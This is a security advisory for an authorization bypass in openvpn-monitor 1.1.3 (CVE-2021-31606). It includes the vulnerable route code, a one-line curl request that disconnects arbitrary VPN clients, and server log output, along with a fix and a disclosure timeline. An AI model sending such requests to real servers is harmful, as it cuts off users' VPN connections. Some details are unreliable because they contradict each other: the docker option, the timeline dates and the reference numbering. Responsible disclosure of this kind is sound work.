OpenVPN Monitor 1.1.3 Authorization Bypass / Denial Of Service Vulnerabilities

#############################################################
#
# Product:  openvpn-monitor
# Vendor:   https://github.com/furlongm/openvpn-monitor
# CSNC ID:  CSNC-2021-009
# CVE ID:   CVE-2021-31606
# Subject:  Authorization Bypass
# Severity: Medium
# Effect:   Denial of Service
# Author:   Emanuel Duss <[email protected]>
#           Sylvain Heiniger <[email protected]>
# Date:     2021-09-22
#
#############################################################

Introduction
------------

openvpn-monitor is a simple Python program to generate HTML that displays the
status of an OpenVPN server, including all current connections. It uses the
OpenVPN management console. It typically runs on the same host as the OpenVPN
server. [0][1]

During a customer project, several security vulnerabilities were discovered in
this software.

This advisory describes an authorization bypass which allows an attacker to
disconnect arbitrary clients, even if the disconnect feature is disabled.


Affected
--------

- Vulnerable: openvpn-monitor <= 1.1.3
- Not vulnerable: none

The vulnerability is already fixed in the source code [3], but there is no new
release which contains the fix. Therefore, all currently available releases
contain this vulnerability.


Technical Description
---------------------

Starting the openvpn-monitor application without the
`OPENVPNMONITOR_SITES_0_SHOWDISCONNECT=True` option in order to disable the
disconnect functionality:

    # docker run --rm --name openvpn-monitor --net host \
      -e OPENVPNMONITOR_DEFAULT_DATETIMEFORMAT="%%H:%%M:%%S %%d/%%m/%%Y" \
      -e OPENVPNMONITOR_DEFAULT_LATITUDE=-37 \
      -e OPENVPNMONITOR_DEFAULT_LOGO=logo.jpg \
      -e OPENVPNMONITOR_DEFAULT_LONGITUDE=144 \
      -e OPENVPNMONITOR_DEFAULT_MAPS=True \
      -e OPENVPNMONITOR_DEFAULT_SITE=Test \
      -e OPENVPNMONITOR_SITES_0_ALIAS=UDP \
      -e OPENVPNMONITOR_SITES_0_HOST=127.0.0.1 \
      -e OPENVPNMONITOR_SITES_0_NAME=UDP \
      -e OPENVPNMONITOR_SITES_0_PORT=5555 \
      -e OPENVPNMONITOR_SITES_0_SHOWDISCONNECT=True \
      -p 80:80 ruimarinho/openvpn-monitor

When the openvpn-monitor application is accessed, the disconnect button is not
displayed (as expected).

However, there is no authorization check implemented which check if the
functionality is allowed to be used or not:

    [CUT BY COMPASS]
    @app.route('/', method='POST')
    def post_slash():
        vpn_id = request.forms.get('vpn_id')
        ip = request.forms.get('ip')
        port = request.forms.get('port')
        client_id = request.forms.get('client_id')
        return render(vpn_id=vpn_id, ip=ip, port=port, client_id=client_id)
    [CUT BY COMPASS]

An attacker can use this to disconnect arbitrary clients:

    $ curl http://openvpn-monitor.example.net -d "vpn_id=UDP&ip=10.5.23.42&port=1194&client_id=5"

The client will be disconnected. This can be seen in the OpenVPN server log:

    [CUT BY COMPASS]
    2021-04-21 11:33:22 MANAGEMENT: Client connected from [AF_INET][undef]:5555
    2021-04-21 11:33:22 MANAGEMENT: CMD 'version'
    2021-04-21 11:33:22 MANAGEMENT: CMD 'client-kill 5'
    2021-04-21 11:33:22 MANAGEMENT: CMD 'quit'
    2021-04-21 11:33:22 MANAGEMENT: Client disconnected
    2021-04-21 11:33:22 MANAGEMENT: Client connected from [AF_INET][undef]:5555
    2021-04-21 11:33:22 MANAGEMENT: CMD 'version'
    2021-04-21 11:33:22 MANAGEMENT: CMD 'state'
    2021-04-21 11:33:22 MANAGEMENT: CMD 'status 3'
    2021-04-21 11:33:22 MANAGEMENT: CMD 'quit'
    2021-04-21 11:33:22 MANAGEMENT: Client disconnected
    [CUT BY COMPASS]


Vulnerability Classification
----------------------------

CVSS v3.1 Metrics [4]:

* CVSS Base Score: 5.8
* CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L


Workaround / Fix
----------------

# openvpn-monitor Vendor

Authorization checks should be implemented so that this functionality can only
be used if `OPENVPNMONITOR_SITES_0_SHOWDISCONNECT=True` is enabled. This has to
be enforced on the server and not on the client.

# openvpn-monitor Users

Users of the openvpn-monitor should either apply the patch which is available
on GitHub [2] or use the latest version from the source code repository [1].


Timeline
--------

2021-05-05: Vulnerability discovered
2021-04-20: Requested CVE ID @ MITRE
2021-04-20: Contacted vendor
2021-04-22: Sent details via email to vendor
2021-04-24: Vendor confirmed and already started to work on a fix
2021-09-08: Asked vendor for updates
2021-09-08: Vendor told it's OK to publish the advisory
2021-09-22: Public disclosure


References
----------

[0] http://openvpn-monitor.openbytes.ie/
[1] https://github.com/furlongm/openvpn-monitor
[2] https://github.com/furlongm/openvpn-monitor/commit/ddb9d31ef0ec56f578bdacf99ebe9d68455ed8ca
[3] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L&version=3.1